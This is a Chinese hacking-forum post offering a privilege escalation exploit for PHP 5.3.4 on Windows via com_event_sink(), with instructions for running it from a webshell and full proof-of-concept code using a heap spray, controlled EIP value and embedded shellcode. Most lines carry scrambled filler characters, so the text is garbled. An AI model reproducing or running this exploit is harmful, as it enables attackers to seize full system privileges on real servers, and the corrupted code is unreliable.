|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
& b5 m- u: ~( l a, B5 X7 J8 ~& A' ?3 y
测试方法如下:cmd /c x:\php\php.exe x:\test.php# w. V4 P* Y6 J* G& _# g
1 G- ~% t# _2 z2 z
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php, q7 L' L3 f6 A/ [& ~6 K
这里是两个测试的截图:2 z) v9 C' ]1 F0 L( b$ T4 f# x1 ]
# Q% \: h$ ~- p, c2 K
. B& |: q2 F h. M0 g3 [. C& O# ^
: h! A& s( l6 }& c1 Q2 ~- |5 N: x
, V0 F5 s5 i2 K# _% ~+ a; \. E5 G' D( J
成功利用此漏洞的攻击者将获得系统的最高权限. M4 J) d) l' u$ x' N. I5 N- ~
. H3 S4 M5 F H/ z9 v
. s: o: P2 \- j: ^+ Q: o* B
1 x D" x6 W, q
2 W: O& u- y1 o, z$ V7 ? x) o e3 t7 A
关于漏洞分析稍后附上。一下是PoC代码:
4 p5 K E1 ?( }. d
+ i' L' o" p! b/ X<?php% b7 R6 C6 C! p
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
p1 c. y+ `7 v8 m; K//$eip ="\x44\x43\x42\x41";
& W- B5 {* ^: T: t) p$eip= "\x4b\xe8\x57\x78";
: \% K, V' e! `; O! a7 U7 M+ `- r$eax ="\x80\x01\x8d\x04";
! n' l1 N! V5 d$deodrant="";
6 u8 t+ `9 d* T( ?$axespray = str_repeat($eip.$eax,0x80);& ]5 l) r+ W3 Z1 |5 \# a
//048d0190# A( h$ C9 p" `# F4 `" N
echo strlen($axespray);
8 }8 H0 L% H1 Z n' `7 C3 B7 Eecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
: H8 l; x' [; `" I5 t5 Iecho "Silic Group Hacker Army - BlackBap.Org";
# z* Y) {# h( ^- ?& U//19200 ==4B32 4b00
6 N# e. g- m' z8 @$ Mfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}2 c! Q$ V- j; d) l# P
$terminate = "T";
5 m( f2 G( z4 ]$u[] =$deodrant;* z0 F7 C% _! {+ M" |- s
$r[] =$deodrant.$terminate;( g0 K3 d7 w4 I" J
$a[] =$deodrant.$terminate;# }. K) ^$ X( P, r
$s[] =$deodrant.$terminate;1 L; l3 G7 G" Y6 G- X
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的& R7 K" X: [& U4 C [
$vVar = new VARIANT(0x048d0000+180);" o; r9 j: C; d9 C
//弹窗代码(Shellcode)
+ L2 P7 A* i, l* r" T ]$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";9 n% Z4 E1 R( a
$var2 = new VARIANT(0x41414242);8 w8 E! b; e9 i' X
com_event_sink($vVar,$var2,$buffer);% ~! ]' ?1 _* E/ b
?>( ^+ r1 k* h( O! H3 b1 h
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|